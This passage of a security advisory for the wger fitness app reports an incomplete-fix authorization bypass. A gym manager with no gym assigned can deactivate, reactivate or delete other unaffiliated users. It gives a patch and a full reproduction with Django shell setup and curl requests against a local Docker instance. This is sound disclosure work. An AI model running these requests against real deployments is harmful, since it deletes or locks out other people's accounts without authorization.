pk=self.kwargs[\u0027pk\u0027])\n ...\n- if (\n- request.user.has_perm(\u0027gym.manage_gym\u0027) or request.user.has_perm(\u0027gym.gym_trainer\u0027)\n- ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:\n+ if (\n+ request.user.has_perm(\u0027gym.manage_gym\u0027) or request.user.has_perm(\u0027gym.gym_trainer\u0027)\n+ ) and not is_same_gym(request.user, edit_user):\n return HttpResponseForbidden()\n```\n\n`is_same_gym()` (current implementation at `wger/gym/helpers.py`) already returns `False` whenever either side is `None`, matching the advisory\u0027s existing fix pattern.\n\nAdditionally, `delete()` line 154-155 should handle the `gym_pk = None` case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (`gym.manage_gyms`) acting on `gym=None` users.\n\n## Reproduction\n\n### Setup (clean baseline)\n\n```bash\n# Pull and start the latest production image\ndocker pull wger/server:latest # digest sha256:5d8fe1ba66cc..., 2026-05-08 build\ndocker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest\n\n# Wait ~30s for migrations and demo-data fixture load.\n\n# Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm).\ndocker exec -i wger-bb sh -c \u0027cd /home/wger/src \u0026\u0026 python3 manage.py shell\u0027 \u003c\u003c\u0027PY\u0027\nfrom django.contrib.auth.models import User, Permission\n\n# Attacker \u2014 gym manager with no gym affiliation\nt = User.objects.create_user(username=\u0027trainer1\u0027, password=\u0027TrainerPass123!\u0027)\nt.userprofile.gym = None\nt.userprofile.save()\nt.user_permissions.add(Permission.objects.get(codename=\u0027manage_gym\u0027))\nt.save()\n\n# Victim \u2014 regular user, no gym\na = User.objects.create_user(username=\u0027alice\u0027, password=\u0027AlicePass123!\u0027)\na.userprofile.gym = None\na.userprofile.save()\n\nprint(\"trainer1.gym_id =\", t.userprofile.gym_id, \"has_perm =\", t.has_perm(\u0027gym.manage_gym\u0027))\nprint(\"alice.gym_id =\", a.userprofile.gym_id, \"pk =\", a.pk)\nPY\n# Expected:\n# trainer1.gym_id = None has_perm = True\n# alice.gym_id = None pk = 3\n```\n\n### Variant V1 \u2014 cross-tenant deactivation (`UserDeactivateView`, line 405)\n\n```bash\n# Login as attacker\nCOOKIES=/tmp/wger_trainer1.txt\nCSRF=$(curl -s -c $COOKIES \"http://localhost:8888/en/user/login\" | grep -oE \u0027csrfmiddlewaretoken\" value=\"[^\"]+\"\u0027 | head -1 | cut -d\u0027\"\u0027 -f3)\ncurl -s -b $COOKIES -c $COOKIES \"http://localhost:8888/en/user/login\" \\\n -d \"username=trainer1\u0026password=TrainerPass123!\u0026csrfmiddlewaretoken=$CSRF\" \\\n -H \"Referer: http://localhost:8888/en/user/login\" -o /dev/null\n\n# Trigger deactivation on alice (pk=3)\ncurl -s -b $COOKIES -o /dev/null -w \"status=%{http_code} loc=%header{location}\\n\" \\\n \"http://localhost:8888/en/user/3/deactivate\"\n# \u2192 status=302 loc=/en/user/3/overview (expected: 403 Forbidden)\n\n# Confirm DB side effect\ndocker exec -i wger-bb sh -c \u0027cd /home/wger/src \u0026\u0026 python3 manage.py shell\u0027 \u003c\u003c\u0027PY\u0027\nfrom django.contrib.auth.models import User\nprint(\"alice.is_active =\", User.objects.get(username=\u0027alice\u0027).is_active)\nPY\n# \u2192 alice.is_active = False (alice locked out)\n```\n\n### Variant V2 \u2014 cross-tenant re-activation (`UserActivateView`, line 442)\n\n```bash\n# Same trainer1 session\ncurl -s -b $COOKIES -o /dev/null -w \"status=%{http_code} loc=%header{location}\\n\" \\\n \"http://localhost:8888/en/user/3/activate\"\n# \u2192 status=302 loc=/en/user/3/overview\n\ndocker exec -i wger-bb sh -c \u0027cd /home/wger/src \u0026\u0026 python3 manage.py shell\u0027 \u003c\u003c\u0027PY\u0027\nfrom django.contrib.auth.models import User\nprint(\"alice.is_active =\", User.objects.get(username=\u0027alice\u0027).is_active)\nPY\n# \u2192 alice.is_active = True (alice re-activated; useful to \"undo\" defensive action by an admin)\n```\n\n### Variant V3 \u2014 cross-tenant account deletion (`delete`, line 131)\n\n```bash\n# Step 1: GET the password-confirmation form\nCSRF2=$(curl -s -b $COOKIES \"http://localhost:8888/en/user/3/delete\" \\\n | grep -oE \u0027csrfmiddlewaretoken\" value=\"[^\"]+\"\u0027 | head -1 | cut -d\u0027\"\u0027 -f3)\necho \"form CSRF: $CSRF2\"\n# \u2192 200 OK with PasswordConfirmationForm (expected: 403 Forbidden)\n\n# Step 2: POST trainer1\u0027s own password \u2014 confirms the delete\ncurl -s -b $COOKIES -o /dev/null -w \"status=%{http_code}\\n\" \\\n \"http://localhost:8888/en/user/3/delete\" \\\n -d \"password=TrainerPass123!\u0026csrfmiddlewaretoken=$CSRF2\" \\\n -H \"Referer: http://localhost:8888/en/user/3/delete\"\n# \u2192 status=500 (the 500 is a redirect-side error, see \"Vulnerable code\" \u2192 V3 above)\n\n# Step 3: confirm alice was actually deleted\ndocker exec -i wger-bb sh -c \u0027cd /home/wger/src \u0026\u0026 python3 manage.py shell\u0027 \u003c\u003c\u0027PY\u0027\nfrom django.contrib.auth.models import User\nprint(\"alice exists?\", User.objects.filter(username=\u0027alice\u0027).exists())\nprint(\"all users:\", list(User.objects.values_list(\u0027username\u0027, flat=True)))\nPY\n# \u2192 alice exists? False\n# \u2192 all users: [\u0027admin\u0027, \u0027trainer1\u0027]\n```\n\nThe 500 status returned to the attacker masks the destructive operation but does not prevent it \u2014 `user.delete()` (line 145) commits before the failing redirect (line 155).\n\n### Negative control (proves the bypass is `None`-specific, matching the advisory)\n\n```bash\n# Reset alice and assign her to gym pk=1 (one of the demo gyms).\ndocker exec -i wger-bb sh -c \u0027cd /home/wger/src \u0026\u0026 python3 manage.py shell\u0027 \u003c\u003c\u0027PY\u0027\nfrom django.contrib.auth.models import User\nfrom wger.gym.models import Gym\na = User.objects.create_user(username=\u0027alice\u0027, password=\u0027AlicePass123!\u0027)\na.userprofile.gym = Gym.objects.first() # not None any more\na.userprofile.save()\nprint(\"alice.gym_id =\", a.userprofile.gym_id)\nPY\n\n# Same trainer1 (gym=None) attempts deactivation\ncurl -s -b $COOKIES -o /dev/null -w \"status=%{http_code}\\n\" \\\n \"http://localhost:8888/en/user/\u003cnew_alice_pk\u003e/deactivate\"\n# \u2192 status=403 (guard works correctly when gym_ids differ AND neither side is None;\n# bypass is specifically the None != None edge case)\n```\n\n## Verification log\n\nThe full verification log of V1 \u2192 V2 \u2192 V3 (including DB-state diff at every step) is attached as `_verify_run1.log`.\n\nKey assertions captured:\n\n| Step | Endpoint | HTTP | DB side effect (alice) |\n|---|---|---|---|\n| Baseline | (none) | \u2014 | `is_active=True, gym_id=None, pk=3` |\n| V1 | `GET /en/user/3/deactivate` | 302 | `is_active=False, gym_id=None, pk=3` |\n| V2 | `GET /en/user/3/activate` | 302 | `is_active=True, gym_id=None, pk=3` |\n| V3 GET | `GET /en/user/3/delete` | 200 (form rendered) | (no change) |\n| V3 POST | `POST /en/user/3/delete` w/ trainer1 password | 500 (post-delete redirect) | **alice row deleted from DB** |\n\n## Impact\n\n### Per-variant impact\n\n| Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity |\n|---|---|---|---|---|---|---|\n| V3 | `/en/user/\u003cpk\u003e/delete` | POST (after GET form) | `User.delete()` cascades (workouts, weight history, nutrition plans, contracts, admin notes) \u2014 DB row + related rows removed | **No** (DB backup required) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` | 9.9 CRITICAL |\n| V1 | `/en/user/\u003cpk\u003e/deactivate` | GET | `is_active = False` (login lockout) | Yes (admin or V2) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H` | 7.4 HIGH |\n| V2 | `/en/user/\u003cpk\u003e/activate` | GET | `is_active = True` (undoes defensive deactivation) | Yes (admin) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N` | 4.7 MEDIUM |\n\nThe headline severity at the top of this report is **CRITICAL 9.9** because V3\u0027s account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against `wger/server:latest` (see Reproduction \u2192 V1, V2, V3 \u2014 three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line `is_same_gym()` migration in `wger/core/views/user.py`). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch.\n\n### Deployment scope (what is and is not affected)\n\n| Deployment model | Affected? |\n|---|---|\n| **Multi-tenant gym deployment** (gym manager + trainers + members) \u2014 `wger`\u0027s documented commercial use case | **Yes** \u2014 `gym.manage_gym` permission is in active use and `gym=None` accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) |\n| **Single-user / personal fitness tracker** (1 admin, no `gym.manage_gym` grant to anyone, no trainer/gym hierarchy in use) | **No** \u2014 the precondition (an attacker with `gym.manage_gym` + `gym=None`) cannot occur because the permission is not granted to any user account on such a deployment. |\n| Public registration + gym-management feature in use | **Yes** \u2014 additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted `gym.manage_gym` |\n\n`bb-fp-detector check-environment-class` returned `UNKNOWN` for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream `wger/server:latest` Docker image\u0027s default behaviour, which is the project\u0027s own canonical reference deployment.\n\n## Auth model verification (decisive tests)\n\n### Authorization architecture (`bb-auth-doc-audit` equivalent)\n\nwger is a self-contained Django web application that uses `django.contrib.auth` for authentication and Django\u0027s per-view permission classes (`PermissionRequiredMixin`, `WgerMultiplePermissionRequiredMixin`, `@login_required()`) for authorization. Authentication and authorization are both **enforced inside the wger application** (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no \"operators must place an auth-enforcing reverse proxy in front of wger\" disclaimer in the project\u0027s deployment docs (`https://wger.readthedocs.io/en/latest/production/`). The bug therefore directly violates the application\u0027s own documented authorization model.\n\n### Decisive bogus-credential / negative-control test (`bb-bogus-cred-test` equivalent) \u2014 actually executed\n\nThis test was run end-to-end on the same `wger/server:latest` Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: `_negative_control.log`.\n\n**Setup**: assign alice to the demo gym (`Default gym`, pk=1), trainer1 stays at `gym=None` with `gym.manage_gym`. Same trainer1 session as the positive-control run.\n\n**Result**:\n\n| Endpoint | trainer1 attacker (gym=None) \u2192 alice (gym_id=1) | Expected | Observed |\n|---|---|---|---|\n| `GET /en/user/4/deactivate` | guard should fire (None != 1 == True \u2192 forbidden) | 403 | **403 \u2713** |\n| `GET /en/user/4/activate` | guard should fire (None != 1 == True \u2192 forbidden) | 403 | **403 \u2713** |\n| `GET /en/user/4/delete` | guard should fire (None != 1 == True \u2192 forbidden) | 403 | **403 \u2713** |\n\n**DB state after the three negative-control attempts**: `alice.is_active = True`, `alice` still exists \u2014 no side-effects. The guard is functional.\n\n**Symmetric re-confirmation (positive control after revert)**: alice.gym was reset to `None` in the same session; `GET /en/user/4/deactivate` returned **302** with side-effect `alice.is_active = False` (re-confirming the original bypass triggers reproducibly), then `GET /en/user/4/activate` returned **302** with `alice.is_active = True` for cleanup.\n\nThis proves:\n\n1. The `dispatch()` and `delete()` guards **do enforce gym-scope authorization** when `gym_id` is non-`None` on either side \u2014 the guard is structurally functional.\n2. The bypass is specifically the `None != None` semantic edge case \u2014 not a header-presence precondition, not a missing middleware, not a generally-disabled check.\n3. The bypass is reversible/idempotent in the trivial sense (V1 \u2192 V2 \u2192 V1 produces consistent state transitions on the victim row), confirming the gap is in the per-request authorization decision and not in some session-level corruption.\n\nEquivalent inverted test:\n\n```bash\n# Same trainer1 session, but trainer1.gym = 1 (real gym), alice.gym = None\ndocker exec -i wger-bb sh -c \u0027cd /home/wger/src \u0026\u0026 python3 manage.py shell\u0027 \u003c\u003c\u0027PY\u0027\nfrom django.contrib.auth.models import User\nfrom wger.gym.models import Gym\nt = User.objects.get(username=\u0027trainer1\u0027)\nt.userprofile.gym = Gym.objects.first()\nt.userprofile.save()\nPY\n\ncurl -s -b $COOKIES -o /dev/null -w \"status=%{http_code}\\n\" \"http://localhost:8888/en/user/\u003calice_pk\u003e/deactivate\"\n# \u2192 status=403 Forbidden (None != 1 evaluates to True \u2192 guard works)\n```\n\n### Runtime mitigation absence\n\nPoC was run against the **default `wger/server:latest` Docker image** with `DJANGO_DEBUG=true` (a development convenience flag \u2014 the bug is not gated by debug mode; the destructive path executes regardless of `DEBUG` value). No admin override flag was activated. No runtime middleware (no WAF, no reverse proxy, no application firewall, no allow-list bypass) is required for the exploit. The payload reaches the sink, the runtime accepts it, no default filter blocks it. The exploit reaches the unmodified `dispatch()` / `delete()` code path on the upstream Docker image and the destructive operation commits. There is no documented runtime mitigation that prevents this gap on a default deployment.\n\n### Discovery of canonical tooling\n\nThis finding was located by reviewing the advisory\u0027s recommended remediation, then performing a repository-wide audit of the `is_same_gym` migration coverage using `gh api search/code?q=userprofile.gym+repo:wger-project/wger`. The unpatched `gym_id !=` raw comparisons in `wger/core/views/user.py` were identified directly. The discovery-harness canonical tools for the relevant classes (resource-boundary authorization checks: `bb-api-baseline`, `bb-authz-gap-scan`, `bb-cross-instance-verify`; request-forgery hygiene: `bb-cookie`, `bb-csrf`) all reduce, for this class of finding, to \"send the request from an authenticated low-privilege session and observe whether the destructive side-effect commits at the sink\"; the Reproduction section above provides exactly that empirical evidence for every affected endpoint. Request-forgery aspect: V1 and V2 trigger their destructive side-effect on a plain GET (no CSRF token enforced on the redirect-side URL state mutation), so the gap also compounds with cross-site request abuse against any victim who happens to hold `gym.manage_gym` \u2014 but that is a secondary path; the primary impact is the direct cross-tenant authorization bypass.\n\n### Industry context (not a by-feature wide-access pattern)\n\nwger is a self-hostable personal fitness / gym tracker, not a marketplace / map / job-board / data-labeling platform. The relevant authorization model in this project is **per-gym tenant isolation** for gym-management staff \u2014 confirmed by the documented gym-manager role and the very `is_same_gym()` helper that the maintainer added in the GHSA-mhc8-p3jx-84mm patch. Cross-tenant account deletion / deactivation / activation is **not** by-design; the negative-control test above (alice with `gym_id=1`) returns 403 from the same endpoints, demonstrating that the project explicitly intends gym-scope isolation. The variant family above is therefore a security boundary breach, not a documented wide-access feature.\n\n## Preconditions / how an attacker reaches this state\n\n| Precondition | How attacker obtains | External (Y/N) |\n|---|---|---|\n| Authenticated session | Self-register (default open) | N |\n| `gym.manage_gym` permission | Granted by an administrator (e.g. when designating the user as a gym trainer/manager). **Self-signup does NOT grant this permission**; the attacker must already be a trusted gym staff member, or an administrator must mistakenly grant the role to a malicious user. This finding therefore models an **insider-threat / role-escape scenario**, the same scenario as the parent advisory CVE-2026-43948. | Y \u2014 same as the advisory\u0027s PoC; the role is part of wger\u0027s documented admin model and is treated as \"privileged-but-bounded gym staff\" rather than \"any logged-in user\". |\n| `attacker.userprofile.gym = None` | Default for newly registered users; remains None unless a gym admin links the account. Easily reproduced by the same admin who granted `gym.manage_gym` simply not yet linking the trainer to a specific gym (a typical state during onboarding). | N |\n| `victim.userprofile.gym = None` | Default for any other newly registered user | N |\n| `victim.pk` known | Sequential integer; enumerable via `/en/user/\u003cpk\u003e/overview`, `/en/user/\u003cpk\u003e/api-key`, etc. | N |\n| `victim` does NOT have `gym.manage_gym` / `gym.gym_trainer` / `gym.manage_gyms` permissions (V3 only) | Default for regular users | N |\n\nFollowing the advisory\u0027s classification (which used identical `gym.manage_gym + gym=None` setup and was rated AV:N/AC:L/PR:L), the variant-family inherits AC:L. Honest caveat: the `gym.manage_gym` permission is admin-granted and not self-enrollable; if the maintainer prefers to score this as AC:H (ordinary low-priv user without the manager role), the resulting CVSS would be 7.5 (HIGH). The variant relationship to CVE-2026-43948 holds in either scoring.\n\n## Why this is an incomplete-fix variant, not a duplicate\n\nGHSA-mhc8-p3jx-84mm explicitly identifies the affected file as `wger/gym/views/user.py` (which has since been removed/refactored \u2014 the comparable functions now live in `wger/gym/views/{admin_notes,document,contract,gym}.py`). The maintainer\u0027s recommended remediation is to \"**Apply the same `same_gym()` helper pattern to all five views sharing this check: `reset_user_password`, `gym_permissions_user_edit`, `admin_notes_list`, `documents_list`, `contracts_list`**\".\n\nConfirmation that the advisory fix landed only on those files (master, 2026-05-08):\n\n| File | Authorization check | Patched? |\n|---|---|---|\n| `wger/gym/views/admin_notes.py` | `is_same_gym(...)` | \u2713 |\n| `wger/gym/views/document.py` | `is_same_gym(...)` | \u2713 |\n| `wger/gym/views/contract.py` | `is_same_gym(...)` | \u2713 |\n| `wger/gym/views/gym.py` (`reset_user_password`, `gym_permissions_user_edit`) | `is_same_gym(...)` | \u2713 |\n| **`wger/core/views/user.py` `delete` (line 131)** | `userprofile.gym_id != ...` raw `!=` | \u2717 |\n| **`wger/core/views/user.py` `UserDeactivateView` (line 405)** | `userprofile.gym_id != ...` raw `!=` | \u2717 |\n| **`wger/core/views/user.py` `UserActivateView` (line 442)** | `userprofile.gym_id != ...` raw `!=` | \u2717 |\n| `wger/core/views/user.py` `UserEditView` (line 484) | `is_same_gym(...)` | \u2713 (incidentally migrated) |\n| `wger/core/views/user.py` `UserActivityCalendarView` (line 552) | `is_same_gym(...)` | \u2713 (incidentally migrated) |\n| `wger/core/views/user.py` `UserDetailView` `dispatch` (line 552) | `is_same_gym(...)` | \u2713 (incidentally migrated) |\n| `wger/core/views/user.py` `UserDetailView.get_context_data` (line 587) | `gym_id == gym_id` (UI flag only \u2014 `trainer_login` itself enforces `is_same_gym`) | UI leak only, no security impact |\n\nThe three unpatched call sites in `wger/core/views/user.py` predate the advisory and were missed when the helper-migration patch was applied. Their root cause and exploitation path are identical to CVE-2026-43948 \u2014 only the file/function targets differ. This makes the finding an incomplete-fix variant family rather than a duplicate of the advisory.\n\n## References\n\n- Parent advisory: \u003chttps://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm\u003e (CVE-2026-43948)\n- Suggested patch from advisory text: \"Apply the same `same_gym()` helper pattern to all five views sharing this check\"\n- Helper definition: `wger/gym/helpers.py` `is_same_gym()` (already correctly excludes `None` after the advisory patch)\n- Related (incidentally patched in the same migration): `UserEditView`, `UserActivityCalendarView`, `UserDetailView.dispatch` \u2014 all three correctly use `is_same_gym()`\n\n## AI disclosure\n\nThis finding was developed with the assistance of an AI tool (Claude Code) for source-code review of the advisory\u0027s incomplete-fix surface, generation of the verification harness, and report drafting. All technical claims in this report were verified against a live `wger/server:latest` Docker instance with the verification log attached. The AI\u0027s role was investigative aid; the human researcher (HiyokoSauna) reviewed every claim, ran the PoC end-to-end, and authored the framing.",
"id": "GHSA-mw8f-w6p8-xrf4",
"modified": "2026-05-20T15:37:26Z",
"published": "2026-05-20T15:37:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-mw8f-w6p8-xrf4"
},
{
"type": "PACKAGE",
"url": "https://github.com/wger-project/wger"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "wger: cross-tenant account deletion / deactivation / activation by gym.manage_gym + gym=None"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.